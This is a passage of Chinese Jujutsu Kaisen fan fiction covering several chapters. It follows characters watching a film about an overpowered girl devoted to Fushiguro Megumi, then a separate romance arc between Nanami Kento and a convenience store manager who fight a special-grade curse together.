朋友……朋友会做到这种程度吗? 她低低地笑了起来。 良久,她从喉咙里发出了一声叹息:‘美色误人啊……’ 时间从夜晚转到天亮,咖啡厅里,明媚的阳光从玻璃窗外照射进来。 有人脱口而出:“是夏油杰!” 披着夏油杰皮囊的【羂索】优雅地搅动着咖啡,身边跟着的是三个特级咒灵。 他们旁若无人地出入在繁华地带,带着睥睨万物的自负。 而另一边,女生走进了咖啡厅的后门。 是打算来跟他谈谈? 羂索不确定地想,内心忽然浮现起不好的预感。 她不是说,对咒灵阵营不感兴趣吗? 女生一步一步地靠近,最后停在了他的面前。她的动作停住了,似是陷入了思考之中。 她要说什么?是嘲笑、拉拢,还是……? 她张开了唇,缓缓吐出了一个名字:“羂索。” 轰——! 屏幕内外的羂索同时暴起,区别是电影院里的羂索被强制按回了座位,而屏幕里的那个则是瞬间和女生打了起来。 说是打架,完全是在给羂索面子。 这应当叫做碾压。 四个特级都打不过她一个,她战斗时候的姿态如同翩翩起舞的蝴蝶,美得看不出一点杀伤性。 她俯视着半跪在地上的羂索,语气漠然得如同高高在上的神明。 ‘拼尽全力逃跑吧,羂索,我会一次又一次地杀了你。’ 羂索不明白她为什么要杀了他,她不是说要坐山观虎斗吗?怎么还亲自下场了?她的计划呢? 【羂索】也这么问出来了。 他模样凄惨地躺倒在血泊之中,已经失去了所有的战斗力。至于那三只特级咒灵,自然也早就灰飞烟灭。 ‘为什么……为什么要杀我?’【羂索】试图寻求真相。 女生沉吟着,刀片在她的指尖挽出了一朵花,她回道:‘因为你挡住了我的路。’ 路?难道她改变计划了? 羂索眉头紧皱。莫非她想要用他们的尸体来换取咒术师们的信任,然后借助伏黑惠深入五条悟的阵营最后直接从内部夺取权力? 这似乎也是一条可行的路…… ‘你挡住了我爱情的道路。’女生认真地说道,迎着【羂索】茫然又震惊的目光,‘为了我能安安心心谈恋爱,所以只能请你去死了。’ 羂索的大脑呆滞了,像是被人迎面打了一拳的狗。 半晌,他破防了。 “我#@¥%#&%**%%#¥!!!” 崩溃的骂声和五条悟不可抑制的夸张的笑声混合在一起,听得周围人都捂住了耳朵,敢怒不敢言。 羂索的眼泪要掉下来了。 什么运筹帷幄、老谋深算的幕后黑手,这分明就是个恋爱脑啊!! 他竟然输给了一个恋爱脑?!恋爱脑能不能滚出咒术界! 从今天起,他和恋爱脑势不两立!! 猛然间,羂索想起女生自言自语的那句话:美色误人。 什么误人,明明误的是他啊! 好好好,等他出去就把伏黑惠的脸划花了!! 第144章 [2018年12月22日] “咦,就到两个月以后了吗?”屏幕前的观众们刚刚看完姐妹校交流会的剧情,还沉浸在快乐的氛围中,就看见一行字幕跳了出来,恰好和最开始的片头互相应和。 他们心中有了预感:这部电影大概进入尾声了。 今天是2018年10月31日,电影里上演的是和他们这个世界相似却走向完全不同的故事。 暖黄调的灯光自天花板流淌而下,为教室里的桌椅与人都镀上柔和的轮廓。 外面寒风呼啸,大雪纷纷扬扬,玻璃上凝结着一层霜花,它们都被看不见的大手挡在了窗户外。 素净的深蓝色桌布上摆放着一个小巧精致的奶油蛋糕,上面略有点歪歪扭扭地写着一行字——生日快乐。它的周围簇拥着各式各样的零食和饮料,甜腻的香气混合着书本和木头的油墨与清香,被暖融融的空气烘焙成让人放松的气味。 女生最后调整了一下蛋糕的位置,确认它位于正中间,然后抬起手不轻不重地挡住了某个偷偷摸摸想要拿走薯片的爪子。 ‘五条老师再等等吧,大家马上就要来了。’她笑眯眯地说道。 【五条悟】不满地啧了一声,往后躺倒在椅子上。 此时的教室里只有他们两人,气氛有些微妙。 ‘虽然已经问过一次了,但我还是要再多嘴一遍。’【五条悟】侧过头,明明蒙着眼罩,但那双湛蓝色的瞳孔好像能穿透布料直直地看进她的心底,‘你不会伤害小惠的吧?感情上的伤害也算哦。’ 女生无奈又无语地瞥了他一眼,一边低头回信息,一边说道:‘这话说得,五条老师好像那种要棒打鸳鸯的封建大家长。’ 【五条悟】摸着下巴回道:‘啊,姑且也算是吧……毕竟我可是精心把小惠养大了呢。’ 伏黑惠的脑门上冒出了一个问号,他回头,用质疑的目光看向五条老师。 但孝顺的他没有把不礼貌的话说出口。 要说养大……他难道不是津美纪养大的吗。 只知道打钱的话,可不算是养育。 五条悟对伏黑惠露出了一个闪亮的笑容:“怎么,感动了吗,小惠。” 伏黑惠把头扭回去了。 大概是在手机里看见了什么有趣的东西,女生的眉眼变得柔和了许多,她的注意力全在那个狭小的屏幕中,漫不经心地对五条悟说道:‘我的回答没有变过,伤害小惠的事情,我不会去做的。’ 【五条悟】咂咂嘴,忽然开口道:‘我很好奇耶,如果你没有遇到小惠的话,会怎么做呢?’ 女生结束了同另一人的聊天,抬起头,竟然真的仔细想了想,随后开口道:‘你不是调查清楚了吗,如果没有小惠的话,现在的我,或许还在看着你们咒术界一片混乱的样子吧。等到时机成熟,我才会出现哦。’ 和伏黑惠确认关系后,五条悟动用了所有关系,细致地将她调查了一遍。 毕竟还是咒术界的最强,和表世界多少有些牵扯,一旦认真起来,她的身份就瞒不住了。 她也没想过要瞒住他。 ‘因为小惠,所以选择了一条更难走的路吗,你这家伙竟然是恋爱脑啊。’【五条悟】感慨道。 ‘不是哦,后半句话姑且算你对吧。’女生失笑道,‘但于我而言,并非选择了一条更难走的路,事实上,每一条路在我看来都挺简单,区别只有花费精力多少的问题。为了更加美好的风景,多绕点路也无可厚非吧。’ 伏黑惠就是她愿意付出代价而得到的美丽风景。 【五条悟】仰倒在椅子上:‘真好奇在你眼里,小惠是什么样子的。’ ‘大概就是……整个世界都是模糊的,只有他是清晰的。’一本正经地说着偶像剧一样的台词,让观众都忍不住面部扭曲了呢。 她捂着心口,脸上洋溢着幸福又灿烂的笑:‘看见小惠的那一刻,我就 知道,那个像彩虹一样的人,终于被我遇到了。’ ‘诶,那如果……’【五条悟】兴致勃勃地提出了一个新的假设,‘如果小惠没有喜欢上你呢?没有你喜欢对方对方就一定要回以爱意的规定吧。’ 女生沉默了。 良久,她朝【五条悟】弯了弯嘴角,弧度虚伪得像精心测量过,可眼底却一丝笑意也无。 ‘是啊,那就没办法了呢。’她的语气轻飘飘的,‘只好把咒术界毁掉了。说不定会恨我哦。’ 伏黑惠的呼吸滞了滞。 她……是在开玩笑吗? ‘好可怕。’【五条悟】吐槽道,‘不要动不动就黑化啊。’ ‘哪有。’女生站起身,准备迎接同学们的到来,‘开玩笑的啦,我和小惠可是两情相悦呢。’ 她回过头,明明是在对【五条悟】说话,却仿佛看向了镜头外的观众。 ‘我会把一切阻拦我和小惠的东西,全部扫进垃圾桶里。’ “……” 这个眼神,平静中带着杀意,仿佛一道寒风从众人的后颈吹过,让心怀不轨的人打了个哆嗦。 嘟嘟嘟。 突兀响起的敲门声打破了这可怕的氛围,门口传来学生们小心翼翼的询问:‘可以进来吗?’ 女生转过头,脸上又挂起了熟悉的温柔笑容。 ‘请进。’ 先到的是一二年级的学生,他们埋伏在门的两侧,等待【伏黑惠】的到来。 直到此刻,观众们才从那强烈的割裂感中猛然惊醒——这确实是一个截然不同的世界。 不同的世界线上,他们在辛辛苦苦、九死一生地和特级咒灵们战斗,而屏幕里的【他们】却在高高兴兴、无忧无虑地给【伏黑惠】庆祝生日。 本该将这个世界搅得天翻地覆的敌人们早就死在了阴暗的角落里,能轻易扼杀他们的入侵者,却敛起锋芒,化作了守护的坚盾。 伏黑惠怔怔地看着屏幕,旁观着与他无关的幸福。 当津美纪出现的时候,他和另一个【伏黑惠】同时红了眼圈。 ‘惠,你长高了。’ 短短一句话,让伏黑惠低下了头,眼泪从指缝里一滴一滴地溢出来。 ……对不起,津美纪。 对不起…… “喂,小鬼。” 不远处,一个声音懒散地响起。 伏黑惠微微抬头,望向了和他如出一辙的绿色眸子。 “依靠老婆可不是什么丢人的事情。”男人扯了扯嘴角,带动着那道伤疤,“软饭可不是谁都能吃上的。” 什、什么? “别看有人嘴上骂得凶,真有那机会,他冲得比谁都快。”伏黑甚尔从鼻间哼出一声,“不要被外界迷惑了。” 伏黑惠似懂非懂。 伏黑甚尔移开了视线,看向屏幕中,女生和男生交握的双手。 “上天赐予的好运,只有一次。” ‘现在,小惠可以吹蜡烛许愿了。’跳跃摇晃的烛火照映下,女生悠悠说道:‘不管什么愿望,我都会为小惠实现的。’ 多么狂妄的一句话啊,但所有人都知道,她是认真的。 ‘好。’【伏黑惠】低头吹灭了蜡烛,在同学侧过头或看天花板,或东张西望时,在她的脸上落下了一个轻吻。 他的嘴唇蠕动,几不可闻地吐出了几个词。 ‘看着我……’ ‘永远注视着我……’ ‘仅此而已。’ 画面渐渐变暗,一段悠扬的音乐响起,是婚礼进行曲。 公主和王子幸福地生活在了一起,童话故事拥有了一个完美的结局。 束缚松动的瞬间,五条悟只来得及向羂索的方向打出一发“苍”。蓝光撕裂空气的刹那,他们已被强行弹开。 森寒的咒力擦着耳际掠过,死亡的寒意让羂索后背瞬间被冷汗浸透。 他还活着。 幸好幸好,上天还是眷顾他的。 将狱门疆收进袖子里,羂索的手都在颤抖。 很好,接下来只要…… 他抬头,黑色的结界仍然没有消散。可是,电影不是已经结束了吗? 不详的预感如毒蛇般缠上心脏,羂索的后槽牙互相摩擦着,面皮微微抽动。 他看见了一个本不该出现在这里的人。 “啊啊,五条悟已经被封印了吗。”她笑道,“真是太好了。嗯……接下来只要把你们都清理掉,就行了吧。” 轰——! 宛如天穹倾塌的重压骤然降临。羂索膝盖砸进地面,蛛网状的裂痕以他为中心爆裂蔓延。 “不用谢我。”她竖起了一根食指,抵在唇边,“我只是路过的好心人。” 一个名字从羂索的喉咙里挤出来:“是你……今野……桃!” “哟,竟然知道我,真有见识。”她惊讶地睁大了眼睛,下一秒,人已经出现在了羂索的身后,“那就从你杀起吧。” 电光石火间,一只咒灵从他的体内钻出来,袭向女生。在她分神的那一刹,羂索狼狈逃窜。 两人纠缠之时,乱作一团的咒术师那边开始摇人了。 “伏黑?伏黑呢?!”他们疯狂呼喊着伏黑惠,嘶吼声此起彼伏,“快把他找来啊——!!” 快把“对桃宝具”找来!不然他们都要死了!!这个没有提前遇到伏黑惠的女生,是真的会对他们动手的啊! 伏黑惠从地铁站下面被叫了上来,他匆匆忙忙地赶到时,战斗恰好结束。 女生一只脚踩在羂索的背后,手中长刀已经捅进了他的大脑。 “今……”伏黑惠刚开口,同学们在旁边疯狂打着手势。 不对不对!太冷漠了! A上去啊!你们可是一见钟情!! 伏黑惠的耳朵悄悄红了起来,他的喉头滚动了一下,仍然喊道:“今野。” 女生漠然抬眼,却在看见他的瞬间愣住了。 肉眼可见的,她的表情变得柔和,就像春风吹过,寒冰眨眼融化成了春水。 “请问你是……?” 她甚至用上了敬语! “伏黑惠。”他顶着身后灼热的视线,一字一句地说道,“我叫伏黑惠。” 她移开了目光,好像很不自在地挠了挠脸颊。 成功了啊!“对桃宝具”大胜利!! 咒术师们欢欣鼓舞,热泪盈眶。 只是……她嘀咕的话怎么听起来有点怪怪的。 什么叫做“初始好感值怎么这么高”? 第145章 “枕边脱落的发丝变多了。” “喜欢的夹心面包从便利店消失了。” “这些小小的绝望堆砌起来,就让人成长了。” 七海建人站在熟悉的货架前,望着空荡荡的陈列位,无声叹息。 算了,随便应付一顿吧,反正入夏以后,食欲不振已经是常态了。 高强度的工作不仅消磨了进食的欲望,那些重复机械的劳作更让人逐渐麻木。 随便拿了一罐咖啡,七海建人走向了收银台。店员抬头打量他片刻,突然说了声“请稍等”。 她弯腰从后面的台子上取了一个袋子,放在了七海建人的咖啡旁边:“这是给您预留的夹心面包,请您收好。” 七海建人付钱的动作顿住,他疑惑地问道:“预留?我没有要求预留过。” “嗯……您是我们的老顾客,所以给您预留了一份。”店员营业性地微笑道。 后面传来窃窃私语:“什么嘛……我也是老顾客了啊……” 正是因为夹心面包味道不错,价格不贵,买的人多,所以稍微晚一点就会售罄。很多人买不到,难免会抱怨几句。 七海建人推了推眼镜,拒绝道:“谢谢,但是预留就不用了。” 这点小便宜,没必要去占。 “诶,等一下!”店员看见他要离开,着急地拉住了他,在男人冷淡瞥过来的目光中,她讪讪地笑道,“好吧,本来店长是不让我说的。事情是这样的……这份夹心面包是我们店长购买后留给您的,为了感谢您之前的见义勇为。” 见义勇为? 七海建人在大脑中搜索了一下,并未找到相关的记忆。 也有可能是他的随手为之,就让别人记住了。 “请您收下吧,这是我们店长一点小小的心意。”店员拜托道,“如果没送出去,我不好向店长交代。” 她双手合十祈求着,为自己把事情搞砸了而沮丧不已。 七海建人捏了捏鼻梁,无奈地接受了这份“好意”。 “谢谢,不过下次就不用了。”他沉声说道。 沐浴着旁人羡慕的眼光,他走出了便利店。 兴许是夹心面包的祝福,下午的工作很顺利地完成了。回家的路上经过了便利店,七海建人下意识地往里面看了看。 便利店面积不大,只有一个店员站在收银区。 中午见过的店员隔着玻璃对他微笑。 七海建人微微颔首,身影很快融入暮色之中。 第二天中午,七海建人再次踏入便利店。结账时,店员动作自然地将一个夹心面包塞进购物袋,却只扫描了饮料的价格。 他唇线微绷,最终没 有为了一点零钱而开口推拒,只是沉默地拎起袋子离开。 看来,得暂时换一家店买午餐了。 他想,自己的态度已经足够明确。这种带着善意的“特殊照顾”,反而让他感到些许困扰。 隔了一周再过去,店员的表情并没有什么变化,和往常一样。 当他走到货架前,很高兴地看见那里摆得满满当当。取下两个夹心面包结账的时候,店员也没有再拿出一个所谓“预留”的。 很好,他就希望日子能这样平淡没有波澜地过下去。 七海建人满意地想着。 然而回到工位时,同事却大惊小怪起来。 “诶?你怎么买到了面包?”他困惑地说道,“我去的时候明明已经卖完了啊!” “可能是补货了吧。”七海建人眉眼淡淡地说道,“下次提前一点去。” “有道理……” 同事嘟囔着坐下了。 后面连续几天,七海建人都买到了想要的面包。但不知道什么时候,一向没什么来往的同事却偏偏要跟着他。 “啊,因为感觉跟着七海好像运气会好一点。”同事这么说道。 运气好?他算哪门子的运气好。 不过一种微妙的感觉还是萦绕在他的心头,鬼使神差的,他在某个中午比平日提前了二十分钟去便利店。 店员远远地看见他出现,第一反应就是去望墙上的时钟,随后着急忙慌地从后台推出一个箱子,里面是满满一箱的夹心面包。 当七海建人走进便利店,手速飞快的店员已经补完了货。 “欢迎光临。”她了擦头上的汗,干笑着打招呼。 “哇,我就说七海运气很好嘛。”同事高兴地从货架上取走了想要的午餐,“真好,又买到了。” 七海建人用关节扶了扶眼镜,默不作声地看着店员。 店员移开视线,装作若无其事的样子。 奈何男人的目光太有压迫感,店员最后还是扛不住了,小声说道:“店长每天额外订购了一箱夹心面包,叮嘱我们在您来之前把货补足。” 七海建人:“……” 同事看看他,又看看店员,品出了几分古怪的意味。 七海建人掏出手机,问道:“你们店长的号码是多少?” 店员忙不迭地报出了一串数字,但电话拨过去却是无人接听。 “如果您要找店长的话,可以晚上来。”店员说道,“店长会在晚上九点左右到店里来。” 九点……那不就是加班了吗。 七海建人打心底里拒绝这个提议。 但是联系不到店长,就任由她搅乱自己的生活吗?继续下去的话,可能过不了多久,同事们都要觉得自己在被追求了。 这实在是太麻烦。 “好的。”他平静地说道,没露出一丝破绽让同事察觉。 临走时,店员左思右想,还是讷讷地叫住了他说道:“那个……事实上,我们的店长也是新换的,她来的第一件事就是告诉我给您留一份午餐。” 七海建人的脚步顿了顿:“……我知道了。” 所以,是特地为了他……? 真是麻烦啊。 当夜幕降临,七海建人怀揣着一腔怨气,从舒适的家里走出来,漫步在渐渐无人的街头。 当他抵达平日上班的地点时,恰好是晚上九点整。 周围的店铺大多关门了,便利店的灯光格外显眼,吸引着路人进去。 铃声响起,店员的声音和另一个女声重叠在一切。 “欢迎光临。” 七海建人望向那个陌生的女人。 她有着一张很美的脸蛋,黑色的长发披散在肩膀上,在看见他时,眼中闪过一丝惊讶。 然后她迅速转过头,当做不认识他。 可惜七海建人已经猜出了她的身份。 “请问是店长吗?”他上前一步,带着十足的压迫感。 女人目光躲闪,片刻才好不情愿地开口道:“……是。” “占用你一点时间,打扰了。”他不容拒绝地说道。 女人跟在他身后,两人走出了便利店,站在不远处的路灯下。 昏黄的光在空气中晕染开来,模糊了两人的轮廓。男人高大的身影斜斜投在地上,与女人纤细的影子平行。 她看起来有点紧张,纤长的睫毛颤抖个不停。 七海建人垂眸,看见她眼下的一小块阴影,她的嘴唇微微抿着,似是抗拒,又带点委屈。 他几不可闻地叹了口气。 “抱歉,”成熟稳重的男人开口道,迎着她略显愕然的目光说,“但我确实对你没有印象了,所以你也不必再感谢我。” 女人眨了眨眼睛:“可是……” 七海建人继续说道:“你的谢意我已经收到,我想,感谢也要建立在不打扰对方的基础上,对吧。” 女人眼中的光芒好像都黯淡了许多。 “好冷漠啊……”她嘀嘀咕咕地说着,“难怪那天走得那么快。” 她的双手背在身后,肩膀微微耷拉,整个人看上去没什么精神。 “好吧,既然你这样说了,那就到此为止。”她低下了脑袋,“但我还是要说一句谢谢,那天晚上你帮我赶走坏人。” 她的话让七海建人隐约想起来了一点。 前段时间,他加班太晚,回家的路上恰好碰见两个男人在跟一个女人搭讪,还不断逼迫她往阴暗的巷子里走。他看不过去,就出手将那两个男人揍了一顿。 考虑到自己也是男性,他没有久留,只是叮嘱了她一句早点回家,随后就离开了。 所以那个女人就是她? 七海建人皱起了眉。 “既然你已经遇到过一次意外,怎么还一个人走夜路。”他很不赞同地开口道,“你应该更加谨慎一些。” “啊,不是……”女人张了张口,正想解释,忽然,她的脸色骤然一变。 她猛地加速上前,将他抱了个满怀。七海建人猝不及防,被她撞得踉跄后退几步,整个人被带进路灯照不到的阴影里。他的手下意识扶住她的腰,还未开口,一只柔软却坚定的手便捂住了他的唇。 “好了,你说的话我不爱听。”她的声音极低,另一只手按住他的肩膀,力气大得惊人,“安静,听我说。” 七海建人眉头微蹙,头顶几乎要浮现一个具象化的问号。 就在这时,他忽然抬眼,望见了对面墙头上忽然出现了一坨黑漆漆的东西。 是一只三级咒灵。 它好像被放大的虫子,头顶上还长着大大小小数不清的眼珠,时不时转动两下,似是在寻找猎物。 七海建人握了握拳,想起自己没有带武器出来。 察觉到男人的动作,女人急了。她扣住他的后脑,把他按了下来。他们的额头互相抵着,距离近到能看清彼此眼底的倒影。 她的声音抖得厉害,恐惧中却带着不容动摇的坚决。 “不管你刚刚看见了什么,看着我。”她深吸一口气,唇角勾起一抹紧绷的笑,“现在,轮到我保护你了。” 他的体型比她要大上一圈,仿佛是一只猫咪挡在了老虎的身前。 七海建人怔了怔。 第146章 夜色深沉,街灯昏黄,冷风卷着落叶在空荡的街道上翻滚。 女人深吸了一口气,声音压得很低,缓缓开口道:“那个怪物,只要不去看它,不和它对视,就不会被它发现。等下我把它引走,你就先跑,知道了吗。” 七海建人没说话,他看着她,似是在斟酌什么。 女人又气又怒,咬了咬下唇,还是耐着性子解释:“现在可不是讲什么绅士风度的时候了!我知道你很厉害,那那个怪物根本就没办法被物理攻击到,拳头或者武器都没用!你放心,我有很丰富的应对经验,完全可以跑掉!” 她的语气诚恳,一个劲地把七海建人往不远处的巷子那边推。 可七海建人纹丝不动。 突然,他抬手握住了她的手腕。他的掌心干燥而温暖,力道不轻不重,却让她一瞬间僵住了动作。 “不要怕。”他面色沉静,慢慢地扶着她站稳,然后从黑暗中走了出去,背影挺拔而从容,声音低沉又平稳,“只是一只三级咒灵而已。” “三级……咒灵?” 女人愣在原地,瞳孔微微放大,显然对这个陌生的词语感到困惑,但七海建人并未过多解释。咒力凝聚在他的拳头上,下一秒—— “砰!” 黑影甚至没来得及发出哀嚎,便在那一击之下灰飞烟灭。 路灯的光洒在他身上,金色的发丝在夜色中熠熠生辉。 女人后背紧贴着墙壁,愣愣地望着他,喉咙发紧:“三级咒灵,很弱吗?” “是的,未接受过训练的咒术师也能解决掉它们。”七海建人颔首回答,他顿了顿,继续说道,“你也可以。” “咒术师?”她的睫毛轻轻颤了一下,眼底骤然亮起细碎的光,像是长久蒙尘的玻璃突然被擦亮一角,“像我这样能看见它们的人……叫做咒术师?” 七海建人沉默地看着她,略一点头。 女人的嘴角动了动,似乎想挤出一个笑容,可那弧度还未成型便已崩塌。她的眼眶微微发红,声音轻得几乎被夜风吹散。 “原来……我不是怪胎。”她失魂落魄地说道,“我是一名咒术师啊……” 这句话像一把钝刀,缓慢而沉重地扎进心脏。七海建人垂下眼睑,不去看她眼角的那点晶莹。 话已经说清楚了,问题也都解决,他本该抬脚离开这里的。但此时他的两条腿却像灌了铅一样,沉重得挪不动。 “那个……”女人上前几步,她本来应该是想要抓住他的手臂,但悬空的手在半道上改了方向,最后只是似有若无地揪住了他的衣角。她小心翼翼地问道,“抱歉,虽然很失礼,但能不能拜托你,占用一点时间跟我说一说关于‘咒术师’的事情呢?” 她的姿态像一只被雨水淋透的猫,湿漉漉的,可怜又倔强。七海建人拧着眉,表情写满了“麻烦”,可拒绝的话却怎么也说不出口。 “走吧。”他最终开口,语气生硬,却莫名带着妥协的意味,好像有两个灵魂在他的身体里打架。 一个在嚷嚷着好麻烦好麻烦,这完全是在无偿加班。 一个在低语着人要有责任感,不能对同类置之不理。 最后声音小的那个反而赢了。 居酒屋昏黄的灯光在木质隔间里投下温暖的光晕,七海建人端坐在矮桌前,背部挺得笔直,衬衫的每一道褶皱都透着严谨。 对面的女人姿态拘束,双手规规矩矩地放在膝盖上,乖巧得像小学生,眼神中充满着渴望,表情随着他的讲解变化,时而疑惑,时而恍然大悟。 她是一块吸水的海绵,将他说的陌生知识全部吸收到了脑子里。 在听到记不住的地方时,她甚至打开手机的记事本,一点一点地记录下来。 七海建人看着她求知若渴的模样,思绪突然飘远。 居酒屋外隐约传来醉汉的喧哗,隔壁包厢的谈笑声透过薄薄的隔断传来,这些普通人的日常此刻显得如此遥远。他想起高专空旷的教室,想起那些被当作常识灌输的知识。如果她能早点…… 他的声音不知不觉间变得越来越柔和,将这个迷茫的咒术师引入了本该熟悉的世界。 当杯子里的冰块早已融化,橙汁只剩下浅浅一层,这场简单的普及教学课结束了。 女人关上手机,对七海建人扬起了一个笑脸。 “谢谢你,”她语气轻快地说道,“你还是我遇到的第一个……咒术师。” “很正常,咒术师的数量确实很少。从前我在学校读书的时候,一整个年级只有两个人。” 七海建人表情平静地说着,仿佛那只是普通的一段求学时光。 “说来我好像还没有自我介绍。”女人沉默了一瞬,忽然像是想起什么似的,有些局促地开口,“我叫今野桃,今年二十六岁。” 七海建人看了她一眼,没有多问为什么自我介绍要带上年龄,只是简短地回应:“七海建人,二十七岁。” “比我大一岁?”她小声嘀咕,眉眼舒展,像是突然找到了两人之间某种微妙的联系,“那我如果在高中的时候入学,就是七海先生的学妹了啊。” 学妹?七海建人顺着她的话想了想,那应该就是伊地知的那一届了。伊地知大概会很高兴,毕竟那一届只有他一个人。 墙上的时钟滴答作响,短针已经指向十一。明天还要上班,是时候回去了。 他拎起搭在椅背上的外套,站起身,语气不容拒绝:“我送你回去。” “唔……不用啦,其实我一个人走夜路没关系的,那些坏人基本上都不是我的对手。”女人笑了笑说道,语气故作轻松,“我还挺喜欢走夜路的,晚上没什么人,那些怪物……咒灵也就看不到多少了。就算看见了,我在路上狂奔或者做出奇怪的动作,也不会被人围观和指指点点。” ……原来如此。 “抱歉。”七海建人为自己之前莽撞的话语道歉。 “请不要这样说,我知道七海先生也是在关心我。”她连忙摆手,头摇得像拨浪鼓,发丝随着动作轻轻晃动,“七海先生是好人呢!” 七海建人定定地看了她几秒,掏出了手机。 “你的号码怎么拨不通?”他问道。 “手机号码吗?我设置了陌生人拒接。”她的语气有点发虚,像是怕他误会,又赶紧补充,“请七海先生告诉我你的号码吧!” 七海建人对她的生活方式不置可否,只是报出了一串数字。 很快,他的手机响了。她低头在键盘上快速敲击着,应该是在将他的名字存入通讯录。 为了保险起见,七海建人在挂断后回拨了过去。 这一次,她的手机也响了。 “有什么事可以打给我。”他淡淡地说道,“但时间不能超过晚上十点。” “诶?可以吗!”她很高兴,声音里带着掩饰不住的雀跃,“好的, 我绝对不会在晚上十点打给七海先生!” 她信誓旦旦地说着。 ——然后她在凌晨一点半打了过来。 七海建人看着天花板,手机屏幕的冷光映在他的脸上,脑袋嗡嗡作响。 给出号码的决定是不是有些草率…… 电话那头,经过电流扭曲后的声音有点失真,但仍然能听出明显的颤抖和慌乱。 “七海先生……”她的呼吸急促,像是正在奔跑,背景音里隐约传来某种不祥的、黏腻的蠕动声,“我、我好像碰到了特级咒灵……” 七海建人猛地从床上坐了起来。 第147章 事情就是这么巧,前段时间才刚刚跟她讲过咒灵的等级区分,今天晚上她就遇到了传说中的特级咒灵。 七海建人一边快速地穿好衣服、拿上武器,一边压低了声音询问:“你在哪里?” 对面报出了一个地点,是某个废弃的仓库。 来不及责怪她到处乱跑——这个时候的说教只会让她更加惊慌失措,起不到一点作用,七海建人简短地应道:“保护好自己,我马上就到。” “好……我、我会等七海先生的!” 电话挂断,七海建人开着车冲向目的地。 幸好晚上人少,他的油门都踩到底了,仿佛一道闪电,呼啸着撕破寂静的夜晚。 等他一路抵达仓库门口,从车上跳下来时,眉头就开始拧成了一团死结。 月光下,地面上的景象让他的瞳孔骤然收缩。那些已经不能称之为尸体的肉块以违背常理的方式纠缠在一起,像是被孩童随意揉捏后又丢弃的橡皮泥。某些部位还保持着人类特征——一只青白的手掌,半张扭曲的脸,但更多的地方已经融化成难以名状的肉团。 七海建人飞快地扫视,没有看见那个熟悉的身影。 她还活着吧? 循着动静往里跑,打斗的声音越来越明显,伴随着尖利而又猖狂的笑声。 他在一楼站定,抬头仰望着三楼位置。 那个特级咒灵显然是在猫捉老鼠般地玩弄她,享受着她惊慌失措的模样。有好几次在她快要逃到楼梯口时,又故意放慢速度让她看到希望,然后再突然出现在她面前。 她的右臂已经不自然地垂着,左脸上有一道血痕,但她的眼神依然倔强,手里紧握着一根断裂的钢管。 拥有着类人的智慧,果然是特级咒灵! “现在是加班时间了。”镜片下的眼睛里闪过一丝锐利之色,七海建人握着刀,给自己施加的“束缚”被解开,蓝色的咒力凝聚在掌心,包裹住武器。 特级咒灵突然停下动作,脖子以诡异的角度扭转180度看向楼下。 “噢噢,英雄救美!”它夸张地拍着手,缝合线随着表情变化而扭曲,笑嘻嘻地说道,“我知道这个桥段!” 话音未落,它直接从三楼一跃而下,落地时水泥地面龟裂出蛛网般的裂痕。 它兴奋地舔着嘴唇:“我会把你们融合在一起,这样你们也算是生死不离啦!” 所以外面的尸体,都是它造成的吗。 他猛一蹬地,迎上了这只咒灵。 就在钝刀和咒灵将要接触的一刹那,它苍白的皮肤上缝合线扭曲蠕动,右臂骤然变形,骨骼暴突,化作一柄尖锐的骨刃,猛地刺向七海建人的咽喉。男人不得不侧身闪避,骨刃擦过他的耳际,削断几缕金发。 但他没有后退,反手就是一刀,森蓝色的咒力划出一道凌厉的弧光,将咒灵的手腕齐根斩断。 咒灵的笑意淡了下去,它咧开嘴,皮笑肉不笑地说道:“挺厉害的,这样的咒术师,才有做实验的价值嘛。” 七海建人对打嘴仗毫无兴趣,再次突袭过去。咒灵似是不敌,放弃了远程攻击,改为和他贴身肉搏。 “七海先生!”上面传来了女人的呼喊,“不要被它碰到!它的术式能改变人的灵魂!把人变成怪物!” 这个提醒非常及时,七海建人在将将快和它接触到的时候,紧急用咒力凝聚成了护盾,挡住了它的手掌。 咒灵眯起眼睛,扯了扯嘴角:“麻烦。” 理论上来说,咒术师是可以越级战斗的,一级咒术师要击败特级咒灵并非不可能。但这个特级咒灵比七海建人想象的要棘手不少,它的术式完全克制住了他。 甚至他的攻击对它来说,都是不痛不痒。 被砍断的四肢很快就会长出来,就算击中要害也没用。但他只要被它的手擦过去一次,危机感就在疯狂嚎叫,浑身的汗毛都竖起来了。 他的肩膀上被划开了一道深可见骨的口子,原本整洁的西装被染红。 体力在飞速流逝,他不得不承认……他好像很难祓除它了。 “七海先生!” 和咒灵同时扑上来的,是女人纤细的身影。 “不准——伤害七海先生!” 时间仿佛在这一刻凝固。咒力如火焰,将她整个包裹起来。她的拳头击中了咒灵,碰撞时迸发出了强大的冲击波,伴随着黑色闪电般的刺眼光芒,空间都因此而扭曲。 “没用的,就算多少次,我也……”咒灵的笑僵在了脸上。 它感觉到自己的灵魂被触摸了,被攻击到的地方无法再使用术式恢复,血淋淋的伤口暴露在空气中。 不可能!这怎么可能! 七海建人的目光闪了闪,他认出来了这是什么。 这是一种叫做“黑闪”的特殊攻击现象,必须是在咒力打击和物理打击的时间差小于百万分之一秒时才能触发。黑闪的威力是原本攻击的2.5次方倍,即原本100%的攻击力能暴增到316%! 所以,“黑闪”就能击破它的术式吗? 七海建人觉得有点奇怪。 但世间的术式本就千奇百怪,会被克制也在情理之中。 可惜“黑闪”属于高端技能,并不是想打就能打出来的,因此他想要尝试一下也很难做到。 在暴怒之下,女人一连打出了三次“黑闪”。特级咒灵就这样稀里糊涂地在她手里变成了一团分不清楚的肉泥,正如它之前玩弄的人类尸体。 咚。 女人脱力地跪倒在地上,两只手撑在粗糙的水泥地面,表情几近空白。 只有目光移到七海建人的身上时,瞳孔中才终于出现了一点亮光。 “七海先生,你没事吧!”她大口大口喘着气,汗水从额上滚落,打湿了她的睫毛,声音轻得像是随时会飘散在夜风中。 七海建人捂着肩膀上的伤口站直,走过来,蹲在她的面前。 “我没事。”他顿了顿,声音平稳地继续说道,“你做得很好,今野。” 女人如释重负般笑了起来,然后她的身体像断线的木偶般向前倾倒,紧握的拳头即使失去意识也没有松开。 七海建人接住了她。 仓库里没有灯,只有朦胧的月光从玻璃外挤进来。黑暗笼罩在两人的身上,让他很难看清楚她的面容,但鼻间的血腥气越来越浓郁。 七海建人几不可闻地叹了口气,将她抱了起来。 他调整了一下姿势,让她靠得更舒服,原本紧皱的眉毛略微松开。 两个重叠在一起的身影隐入了夜色之中。 第148章 